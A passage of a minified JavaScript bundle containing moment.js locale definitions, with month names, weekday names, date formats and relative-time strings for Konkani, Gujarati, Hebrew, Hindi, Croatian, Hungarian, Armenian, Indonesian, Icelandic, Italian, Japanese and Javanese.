[वाजतां]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [वाजतां]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [वाजतां]",llll:"ddd, D MMM YYYY, A h:mm [वाजतां]"},calendar:{sameDay:"[आयज] LT",nextDay:"[फाल्यां] LT",nextWeek:"[फुडलो] dddd[,] LT",lastDay:"[काल] LT",lastWeek:"[फाटलो] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s आदीं",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(वेर)/,ordinal:function(e,t){switch(t){case"D":return e+"वेर";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/राती|सकाळीं|दनपारां|सांजे/,meridiemHour:function(e,t){return 12===e&&(e=0),"राती"===t?e<4?e:e+12:"सकाळीं"===t?e:"दनपारां"===t?e>12?e:e+12:"सांजे"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"राती":e<12?"सकाळीं":e<16?"दनपारां":e<20?"सांजे":"राती"}})}(n(381))},3168:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return r?i[n][0]:i[n][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){switch(t){case"D":return e+"er";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(n(381))},5349:function(e,t,n){!function(e){"use strict";var t={1:"૧",2:"૨",3:"૩",4:"૪",5:"૫",6:"૬",7:"૭",8:"૮",9:"૯",0:"૦"},n={"૧":"1","૨":"2","૩":"3","૪":"4","૫":"5","૬":"6","૭":"7","૮":"8","૯":"9","૦":"0"};e.defineLocale("gu",{months:"જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"),monthsShort:"જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"),monthsParseExact:!0,weekdays:"રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"),weekdaysShort:"રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"),weekdaysMin:"ર_સો_મં_બુ_ગુ_શુ_શ".split("_"),longDateFormat:{LT:"A h:mm વાગ્યે",LTS:"A h:mm:ss વાગ્યે",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm વાગ્યે",LLLL:"dddd, D MMMM YYYY, A h:mm વાગ્યે"},calendar:{sameDay:"[આજ] LT",nextDay:"[કાલે] LT",nextWeek:"dddd, LT",lastDay:"[ગઇકાલે] LT",lastWeek:"[પાછલા] dddd, LT",sameElse:"L"},relativeTime:{future:"%s મા",past:"%s પહેલા",s:"અમુક પળો",ss:"%d સેકંડ",m:"એક મિનિટ",mm:"%d મિનિટ",h:"એક કલાક",hh:"%d કલાક",d:"એક દિવસ",dd:"%d દિવસ",M:"એક મહિનો",MM:"%d મહિનો",y:"એક વર્ષ",yy:"%d વર્ષ"},preparse:function(e){return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/રાત|બપોર|સવાર|સાંજ/,meridiemHour:function(e,t){return 12===e&&(e=0),"રાત"===t?e<4?e:e+12:"સવાર"===t?e:"બપોર"===t?e>=10?e:e+12:"સાંજ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"રાત":e<10?"સવાર":e<17?"બપોર":e<20?"સાંજ":"રાત"},week:{dow:0,doy:6}})}(n(381))},4206:function(e,t,n){!function(e){"use strict";e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,n){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?n?'לפנה"צ':"לפני הצהריים":e<18?n?'אחה"צ':"אחרי הצהריים":"בערב"}})}(n(381))},94:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"},r=[/^जन/i,/^फ़र|फर/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सितं|सित/i,/^अक्टू/i,/^नव|नवं/i,/^दिसं|दिस/i],i=[/^जन/i,/^फ़र/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सित/i,/^अक्टू/i,/^नव/i,/^दिस/i];e.defineLocale("hi",{months:{format:"जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"),standalone:"जनवरी_फरवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितंबर_अक्टूबर_नवंबर_दिसंबर".split("_")},monthsShort:"जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"),weekdays:"रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm बजे",LTS:"A h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm बजे",LLLL:"dddd, D MMMM YYYY, A h:mm बजे"},monthsParse:r,longMonthsParse:r,shortMonthsParse:i,monthsRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsShortRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsStrictRegex:/^(जनवरी?|फ़रवरी|फरवरी?|मार्च?|अप्रैल?|मई?|जून?|जुलाई?|अगस्त?|सितम्बर|सितंबर|सित?\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर?|दिसम्बर|दिसंबर?)/i,monthsShortStrictRegex:/^(जन\.?|फ़र\.?|मार्च?|अप्रै\.?|मई?|जून?|जुल\.?|अग\.?|सित\.?|अक्टू\.?|नव\.?|दिस\.?)/i,calendar:{sameDay:"[आज] LT",nextDay:"[कल] LT",nextWeek:"dddd, LT",lastDay:"[कल] LT",lastWeek:"[पिछले] dddd, LT",sameElse:"L"},relativeTime:{future:"%s में",past:"%s पहले",s:"कुछ ही क्षण",ss:"%d सेकंड",m:"एक मिनट",mm:"%d मिनट",h:"एक घंटा",hh:"%d घंटे",d:"एक दिन",dd:"%d दिन",M:"एक महीने",MM:"%d महीने",y:"एक वर्ष",yy:"%d वर्ष"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/रात|सुबह|दोपहर|शाम/,meridiemHour:function(e,t){return 12===e&&(e=0),"रात"===t?e<4?e:e+12:"सुबह"===t?e:"दोपहर"===t?e>=10?e:e+12:"शाम"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"रात":e<10?"सुबह":e<17?"दोपहर":e<20?"शाम":"रात"},week:{dow:0,doy:6}})}(n(381))},316:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=e+" ";switch(n){case"ss":return r+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return r+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return r+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return r+=1===e?"dan":"dana";case"MM":return r+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return r+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("hr",{months:{format:"siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"),standalone:"siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_")},monthsShort:"sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM YYYY",LLL:"Do MMMM YYYY H:mm",LLLL:"dddd, Do MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:return"[prošlu] [nedjelju] [u] LT";case 3:return"[prošlu] [srijedu] [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},2138:function(e,t,n){!function(e){"use strict";var t="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function n(e,t,n,r){var i=e;switch(n){case"s":return r||t?"néhány másodperc":"néhány másodperce";case"ss":return i+(r||t)?" másodperc":" másodperce";case"m":return"egy"+(r||t?" perc":" perce");case"mm":return i+(r||t?" perc":" perce");case"h":return"egy"+(r||t?" óra":" órája");case"hh":return i+(r||t?" óra":" órája");case"d":return"egy"+(r||t?" nap":" napja");case"dd":return i+(r||t?" nap":" napja");case"M":return"egy"+(r||t?" hónap":" hónapja");case"MM":return i+(r||t?" hónap":" hónapja");case"y":return"egy"+(r||t?" év":" éve");case"yy":return i+(r||t?" év":" éve")}return""}function r(e){return(e?"":"[múlt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,n){return e<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return r.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return r.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},1423:function(e,t,n){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"),standalone:"հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_")},monthsShort:"հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"),weekdays:"կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"),weekdaysShort:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),weekdaysMin:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY թ.",LLL:"D MMMM YYYY թ., HH:mm",LLLL:"dddd, D MMMM YYYY թ., HH:mm"},calendar:{sameDay:"[այսօր] LT",nextDay:"[վաղը] LT",lastDay:"[երեկ] LT",nextWeek:function(){return"dddd [օրը ժամը] LT"},lastWeek:function(){return"[անցած] dddd [օրը ժամը] LT"},sameElse:"L"},relativeTime:{future:"%s հետո",past:"%s առաջ",s:"մի քանի վայրկյան",ss:"%d վայրկյան",m:"րոպե",mm:"%d րոպե",h:"ժամ",hh:"%d ժամ",d:"օր",dd:"%d օր",M:"ամիս",MM:"%d ամիս",y:"տարի",yy:"%d տարի"},meridiemParse:/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,isPM:function(e){return/^(ցերեկվա|երեկոյան)$/.test(e)},meridiem:function(e){return e<4?"գիշերվա":e<12?"առավոտվա":e<17?"ցերեկվա":"երեկոյան"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(ին|րդ)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-ին":e+"-րդ";default:return e}},week:{dow:1,doy:7}})}(n(381))},9218:function(e,t,n){!function(e){"use strict";e.defineLocale("id",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"),weekdays:"Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"),weekdaysShort:"Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|siang|sore|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"siang"===t?e>=11?e:e+12:"sore"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"siang":e<19?"sore":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Besok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kemarin pukul] LT",lastWeek:"dddd [lalu pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lalu",s:"beberapa detik",ss:"%d detik",m:"semenit",mm:"%d menit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:0,doy:6}})}(n(381))},135:function(e,t,n){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function n(e,n,r,i){var a=e+" ";switch(r){case"s":return n||i?"nokkrar sekúndur":"nokkrum sekúndum";case"ss":return t(e)?a+(n||i?"sekúndur":"sekúndum"):a+"sekúnda";case"m":return n?"mínúta":"mínútu";case"mm":return t(e)?a+(n||i?"mínútur":"mínútum"):n?a+"mínúta":a+"mínútu";case"hh":return t(e)?a+(n||i?"klukkustundir":"klukkustundum"):a+"klukkustund";case"d":return n?"dagur":i?"dag":"degi";case"dd":return t(e)?n?a+"dagar":a+(i?"daga":"dögum"):n?a+"dagur":a+(i?"dag":"degi");case"M":return n?"mánuður":i?"mánuð":"mánuði";case"MM":return t(e)?n?a+"mánuðir":a+(i?"mánuði":"mánuðum"):n?a+"mánuður":a+(i?"mánuð":"mánuði");case"y":return n||i?"ár":"ári";case"yy":return t(e)?a+(n||i?"ár":"árum"):a+(n||i?"ár":"ári")}}e.defineLocale("is",{months:"janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"),monthsShort:"jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"),weekdays:"sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"),weekdaysShort:"sun_mán_þri_mið_fim_fös_lau".split("_"),weekdaysMin:"Su_Má_Þr_Mi_Fi_Fö_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[í dag kl.] LT",nextDay:"[á morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[í gær kl.] LT",lastWeek:"[síðasta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s síðan",s:n,ss:n,m:n,mm:n,h:"klukkustund",hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},150:function(e,t,n){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){switch(this.day()){case 0:return"[la scorsa] dddd [alle] LT";default:return"[lo scorso] dddd [alle] LT"}},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},626:function(e,t,n){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},9183:function(e,t,n){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(e,t){return"元"===t[1]?1:parseInt(t[1]||e,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(e){return"午後"===e},meridiem:function(e,t,n){return e<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(e){return e.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(e){return this.week()!==e.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(e,t){switch(t){case"y":return 1===e?"元年":e+"年";case"d":case"D":case"DDD":return e+"日";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(n(381))},4286:function(e,t,n){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d 